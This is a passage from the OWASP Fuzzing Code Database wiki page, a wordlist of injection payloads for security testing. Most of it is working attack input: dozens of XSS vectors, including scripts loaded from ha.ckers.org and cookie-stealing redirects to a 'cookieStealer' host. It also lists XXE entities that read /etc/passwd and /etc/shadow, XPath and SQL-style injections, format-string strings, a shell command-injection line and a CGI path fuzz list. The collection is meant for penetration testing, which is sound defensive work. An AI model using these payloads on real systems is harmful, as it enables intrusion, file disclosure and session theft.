DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80082 2010-03-17T21:15:11Z

<p>Adam.muntner: /* (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> 